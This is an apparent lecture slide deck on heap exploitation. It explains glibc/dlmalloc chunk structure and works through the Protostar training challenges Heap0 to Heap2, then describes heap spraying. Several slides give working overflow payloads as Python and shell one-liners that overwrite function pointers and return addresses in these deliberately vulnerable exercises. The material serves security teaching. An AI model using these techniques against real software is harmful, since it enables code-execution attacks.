HEAP BASED EXPLOITATION Scott Hand CSG 2/22/12
WHAT WE WILL COVER Heap Basics Overview of Exercise Environment Protostar Heap0 Heap1 Heap2 Heap3 Heap Spraying Conclusion
BASICS Heap Background and Theory
WHAT IS THE HEAP? We know about the stack. Programs store local variables there. Heaps are for storing globals as well as variables too large for the stack In Linux:.data Initialized globals.bss Uninitialized globals Heap Dynamically allocated space, grows upwards Stack Local variables, grows down
MEMORY ALLOCATION DATA STRUCTURES glibc uses a version of the popular dlmalloc algorithm Memory is allocated in chunks. Each chunk is 8 -byte aligned with a header and data. Each chunk contains: Size information before and after the chunk Easy to combine chunks and allows bidirection traversal from any chunk. Trailer fields are sometimes omitted in recent implementations Chunks are stored in a linked list of bins, sorted by size in continuous increments of 8 for sizes under 512. Over 512 can be any multiple of 8. Upon freeing a chunk, it is combined with freed neighbors to lower fragmentation The final top chunk is empty and its size records the remaining about of free space
BINNING Size: 16 Size: 24 Size: 32 Size: 512 Size: 576 Size: 2 31 Chunk 1 Chunk 3 Chunk 4 Chunk 2 Chunk 5
SOME CONSEQUENCES Locality Preservation Chunks allocated at the same time tend to be referenced similarly and have coexistent lifetimes Important for good performance, reduces cache misses A tweaked version of nearest-fit is used that results in consecutive blocks when there is space This is good for us Easy to create overflows, as memory allocated after vulnerable variables is often given to other variables nearby that may be for things such as function pointers or file paths
MALLOC EXAMPLE We want to see what the heap looks like as more memory is allocated We will allocate three strings: a, b, c. Each is 32 bytes. Code: char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); This will serve as an introduction to the heap3 problem
FIRST ALLOCATION Chunk 1 0x0804c000 8 Byte Size 0x29 0x0804c008 32 Byte Data Remaining Space: 0xFD9 a
SECOND ALLOCATION Chunk 1 Chunk 2 0x0804c000 8 Byte Size 0x29 0x0804c008 32 Byte Data 0x0804c028 8 Byte Size 0x29 0x0804c030 32 Byte Data Remaining Space: 0xFB1 a b
THIRD ALLOCATION Chunk 1 Chunk 2 Chunk 3 0x0804c000 8 Byte Size 0x29 0x0804c008 32 Byte Data 0x0804c028 8 Byte Size 0x29 0x0804c030 32 Byte Data 0x0804c050 8 Byte Size 0x29 0x0804c058 32 Byte Data Remaining Space: 0xF89 a b c
FREE EXAMPLE Now, the interesting (and exploitable) part involves the free() implementation in dlmalloc Let s examine the contents of memory after successive free() commands are executed. Code: free(c); free(b); free(a);
BEFORE FIRST FREE Chunk 1 Chunk 2 Chunk 3 0x0804c000 8 Byte Size 0x29 0x0804c008 AAAA\0 0x0804c028 8 Byte Size 0x29 0x0804c030 BBBB\0 0x0804c050 8 Byte Size 0x29 0x0804c058 CCCC\0 Remaining Space: 0xF89 a b c
AFTER FIRST FREE Chunk 1 Chunk 2 Chunk 3 0x0804c000 8 Byte Size 0x29 0x0804c008 AAAA\0 0x0804c028 8 Byte Size 0x29 0x0804c030 BBBB\0 0x0804c050 8 Byte Size 0x29 0x0804c058 \0 * 32 Remaining Space: 0xF89 a b
AFTER SECOND FREE Chunk 1 Chunk 2 Chunk 3 0x0804c000 8 Byte Size 0x29 0x0804c008 AAAA\0 0x0804c028 8 Byte Size 0x29 0x0804c030 0x0804c050 0x0804c050 8 Byte Size 0x29 0x0804c058 \0 * 32 Remaining Space: 0xF89 a
AFTER THIRD FREE Chunk 1 Chunk 2 Chunk 3 0x0804c000 8 Byte Size 0x29 0x0804c008 0x0804c028 0x0804c028 8 Byte Size 0x29 0x0804c030 0x0804c050 0x0804c050 8 Byte Size 0x29 0x0804c058 \0 * 32 Remaining Space: 0xF89
LOOKING AT MALLOC.C Here s the chunk structure with important parts bolded: struct malloc_chunk { INTERNAL_SIZE_T INTERNAL_SIZE_T prev_size; size; struct malloc_chunk* fd; struct malloc_chunk* bk; /* Only for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; };
SOME OBSERVATIONS Looks like, for whatever reason, this machine uses singly linked lists rather than doubly linked lists We only have the size and fd values to modify
EXPLOIT-EXERCISES.COM 3 Virtual Machines with Challenges Nebula Basic exploitation for people with no experience Protostar Lots of real-world exploits without some of the modern exploit mitigation systems Fusion Advanced scenarios and modern protection systems. Good for those who want to learn how to bypass those systems. We will use Protostar. It has 4 heap-based exploitation challenges
HEAP CHALLENGES Heap0 Basic heap overflow Heap1 More complicated overflow Heap2 Stale pointers Heap3 Heap metadata manipulation
HEAP0 Basic Overflow
HEAP0 - OVERVIEW Goal We want to change the function pointer that points to nowinner() to point to winner() instead Description from author: This level introduces heap overflows and how they can influence code flow.
HEAP0 - CODE Relevant Code: struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp();
HEAP0 VALID INPUT BEFORE STRCPY d 0 x 8 0 4 a 0 0 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 4 9 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 1 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 2 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 3 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 4 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 8 0 4 a 0 5 0 : 0 x 0 8 0 4 8 4 7 8 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 2 0 f a 9 f 0 x 8 0 4 a 0 6 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 7 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 8 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 9 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 nowinner()
HEAP0 VALID INPUT AFTER STRCPY d AAAA 0 x 8 0 4 a 0 0 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 4 9 0 x 4 1 4 1 4 1 4 1 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 1 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 2 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 3 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 4 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 8 0 4 a 0 5 0 : 0 x 0 8 0 4 8 4 7 8 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 2 0 f a 9 f 0 x 8 0 4 a 0 6 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 7 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 8 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 9 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 nowinner()
HEAP0 EXPLOIT CREATION If we overflow the character buffer in d, we can overwrite the function pointer f The distance from f to d is 0x804a050-0x804a008 = 72 The pointer for winner() is 0x8048464 Python Code: print "A"*72 + "\x64\x84\x04\x08"
HEAP0 INVALID INPUT AFTER STRCPY d 0 x 8 0 4 a 0 0 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 4 9 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 8 0 4 a 0 1 0 : 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 8 0 4 a 0 2 0 : 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 8 0 4 a 0 3 0 : 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 8 0 4 a 0 4 0 : 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 0 x 8 0 4 a 0 5 0 : 0 x 0 8 0 4 8 4 6 4 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 2 0 f a 9 f 0 x 8 0 4 a 0 6 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 7 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 8 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 9 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 winner()
HEAP1 Tougher Overflow
HEAP1 - OVERVIEW Goal Execute the winner() function again. But it s not so obvious how this will happen. There are two allocations and two strcpy commands There are no function pointers. What should we overwrite? Description from Author: This level takes a look at code flow hijacking in data overwrite cases.
HEAP1 CODE Relevant Code struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]);
HEAP1 EXPLOIT IDEAS This instruction is the important one: strcpy(i2->name, argv[2]); We are moving an argument into a pointer stored at i2 ->name Can we change the destination of our argument?
HEAP1 VALID INPUT BEFORE STRCPY i1 i1->name 0 x 8 0 4 a 0 0 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 1 0 x 0 8 0 4 a 0 1 8 0 x 8 0 4 a 0 1 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 2 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 2 0 x 0 8 0 4 a 0 3 8 0 x 8 0 4 a 0 3 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 4 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 2 0 f c 1 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 i2 i2->name
HEAP1 VALID INPUT AFTER STRCPY i1 i1->name = AAAA 0 x 8 0 4 a 0 0 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 1 0 x 0 8 0 4 a 0 1 8 0 x 8 0 4 a 0 1 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 4 1 4 1 4 1 4 1 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 2 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 0 0 0 0 0 0 0 2 0 x 0 8 0 4 a 0 3 8 0 x 8 0 4 a 0 3 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 1 1 0 x 4 2 4 2 4 2 4 2 0 x 0 0 0 0 0 0 0 0 0 x 8 0 4 a 0 4 0 : 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 2 0 f c 1 0 x 0 0 0 0 0 0 0 0 0 x 0 0 0 0 0 0 0 0 i2 i2->name = BBBB
HEAP1 EXPLOIT CREATION Let s overflow i1->name to overwrite i2->name s pointer Where to point? Return address! 20 characters of padding A characters Return address is stored at 0xbffff79c Address of winner() is 0x08048494 Python Code for overflow (i1): print "A"*20 + "\x9c\xf7\xff\xbf" Shell Code for replacement (i2): printf "\x94\x84\x04\x08" Final exploit: `python -c 'print "A"*20 + "\x9c\xf7\xff\xbf"'` `printf "\x94\x84\x04\x08"`
HEAP2 Stale Pointers
HEAP2 - OVERVIEW Goal According to the problem description, this level is completed when you see the "you have logged in already!" message Description from Author: This level examines what can happen when heap pointers are stale.
HEAP2 PROGRAM DESCRIPTION For each input loop, the following commands are parsed: auth Description: Allocates memory for auth pointer, clears it, then copies the user input into it Code: auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { } service strcpy(auth->name, line + 5); Description: Changes the service pointer to a duplicate of the provided input Code: service = strdup(line + 7);
HEAP2 PROGRAM DESCRIPTION For each input loop, the following commands are parsed : reset Description: Frees the auth pointer Code: login free(auth); Description: Simulates a login. If the auth->auth field is nonzero, then the user is logged in. Otherwise, we get a dummy password prompt. Code: if(auth->auth) { } else { } printf("you have logged in already!\n"); printf("please enter your password\n");
HEAP2 VULNERABILITY This program calls malloc() for auth using sizeof(auth) sizeof(auth) returns 4 because it s returning the size of the pointer, not the size of the struct However, calls to auth->auth still access memory well beyond its allocated 4 bytes
HEAP2 EXPLOIT Let s call auth CSG to set up our auth pointer Then call service with a bunch of non-zero garbage Then, auth->auth will overflow auth s buffer into service s buffer and read a non-zero integer. Python Exploit: print "auth CSG\nservice " + "A"*16 + "\nlogin"
HEAP2 EXPLOIT VISUALIZED What the programmer thinks happened: 0x804c000 0x804c008 0x804c028 auth size auth->name auth->auth 0x804c030 service size 0x804c038 service data What actually happened: 0x804c000 0x804c008 0x804c018 0x804c020 0x804c028 auth size auth->name auth->auth service size service data auth->auth is non-zero
HEAP3 Metadata Corruption
HEAP3 OVERVIEW Try this one on your own We ll go over the solution next week
HEAP SPRAYING More Heap Abuse
HEAP SPRAYING The memory allocation algorithm s tendency towards contiguous chunk placement can be used for evil yet again In browser, PDF, Flash, etc. exploitation in which the user can control memory allocations (usually via scripting languages like JavaScript), payload placement is usually done on the heap How do we reliably find our payload in the potentially fragmented heap? Fill up an entire chunk with NOP sled + payload and spray it repeatedly into the heap Once the allocator fills in the gaps for the heap fragmentation, we get a nice big contiguous landing area
CONCLUSION
CONCLUSION Links: http://www.exploit-exercises.com https://www.corelan.be/index.php/2011/12/31/exploit-writingtutorial-part-11-heap-spraying-demystified/ Any questions?